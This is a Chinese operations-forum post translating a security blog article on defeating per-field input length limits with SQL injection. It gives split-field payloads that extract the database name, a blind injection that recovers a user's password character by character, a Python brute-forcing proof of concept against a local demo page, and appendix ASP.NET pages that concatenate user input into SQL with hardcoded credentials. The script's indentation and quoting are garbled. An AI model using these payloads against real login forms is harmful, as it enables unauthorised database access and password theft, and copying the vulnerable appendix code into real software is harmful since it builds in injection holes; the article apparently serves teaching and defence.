设为首页 收藏本站
查看: 656|回复: 0

[经验分享] [译]突破sql字符限制

[复制链接]

尚未签到

发表于 2016-11-11 04:06:07 | 显示全部楼层 |阅读模式
原文地址:http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/
场景1.
在本场景中,web应用程序接收first-name和last-name,然后输入匹配的Email地址(代码参考附录A)
正常发送到数据库的sql语句如下
select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; @fn和@ln是user的输入
攻击者可以使用下面的方法来获得数据库的名字:
‘ union select db_name();–
该字符串有27个字节
如果user的输入限制为每个field 15个字节,上述的攻击将会被封锁。即使这样,攻击者可以使用下面的字符串来绕过限制:
First Name: ‘union select/* (15 bytes)
Last Name: */db_name();– (12 bytes)
结果将是下面的查询语句:
select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;
将会导致输出数据库的名字
场景2
在本例中,攻击者攻击web接收一个username 和password,并且输出“Access Granted!”或“Access Denied!”。web程序限制每个输入域为20个字节。但是web程序之检查user输入从长度(附录B)
应用程序发送如下查询:
select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; @un和@pass是用户输入
为了暴力破解david的密码的第一个字节,攻击者发送如下字符串:
·    User Name: david’and substring/*
·    Password: */(password,1,1)=’p
攻击将导致如下查询:
select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';
如果password的第一个字符是'p',那么返回1,否则返回0.为了保留破解david的密码,攻击者可以使用如下python脚本

##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################
import urllib
un = 'david'and substring/*'
i=0
CurrChr = 0
password = ""
for index in range(1,40):
if CurrChr == 125:
break
for CurrChr in range(32,126):
pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr)
args = {'UserName':un,'Password':pswd}
encoded_args = urllib.urlencode(args)
url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
print "Sending: ", index, "X", chr(CurrChr)
f = urllib.urlopen(url, encoded_args)
contents = f.read()
f.close()
if (contents.find('Access Granted') != -1):
password = password + chr(CurrChr)
print "Password: ", password
CurrChr =1
break


附录 A - Web Application #1 Source Code
===========================================
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<html>
<head><title>Shortest</title></head>
<body>
<form id = "f" method="post" action="shortest.aspx">
First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br />
Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br />
<input id="submit" type="submit" value="Get Email" />
</form>
<%
string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
DataSet ds = new DataSet();
string fn = "";
fn = Request.Form["FirstName"];
string ln = "";
ln = Request.Form["LastName"];
if (fn.Length <= 15 && ln.Length <= 15)
{
string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
SqlDataAdapter data = new SqlDataAdapter(command, conn);
data.Fill(ds);
Response.Write("<table>");
foreach (DataRow row in ds.Tables[0].Rows)
{
Response.Write("<tr>");
foreach (DataColumn col in ds.Tables[0].Columns)
{
Response.Write("<th>");
Response.Write(row[col]);
Response.Write("</th>");
}
Response.Write("</tr>");
}
Response.Write("</table>");
Response.Write(command);
if (fn != null && ln != null)
Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString());
}
else
{
Response.Write("Username and Passwords are limited to 15 characters maximum!");
}
%>
</body>
</html>


附录B– Web Application #2 Source Code
===========================================
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<html>
<head><title>Shortest</title></head>
<body>
<form id = "f" method="post" action="Authentication.aspx">
Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br />
Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br />
<input id="submit" type="submit" value="Authenticate" />
</form>
<%
string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
DataSet ds = new DataSet();
string un = "";
un = Request.Form["Username"];
string pass = "";
pass = Request.Form["Password"];
if (un.Length <= 20 && pass.Length <= 20)
{
string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
SqlDataAdapter data = new SqlDataAdapter(command, conn);
data.Fill(ds);
Response.Write("<table>");
foreach (DataRow row in ds.Tables[0].Rows)
{
Response.Write("<tr>");
foreach (DataColumn col in ds.Tables[0].Columns)
{
if (System.Convert.ToInt32(row[0]) > 0)
Response.Write("Access Granted!");
else
Response.Write("Access Denied!");
}
Response.Write("</tr>");
}
Response.Write("</table>");
Response.Write(command);
if (un != null && pass != null)
Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString());
}
else
{
Response.Write("Username and Passwords are limited to 15 characters maximum!");
}
%>
</body>
</html>

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-298496-1-1.html 上篇帖子: SQL语句教程大全 下篇帖子: 原生SQL语句进行统计
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表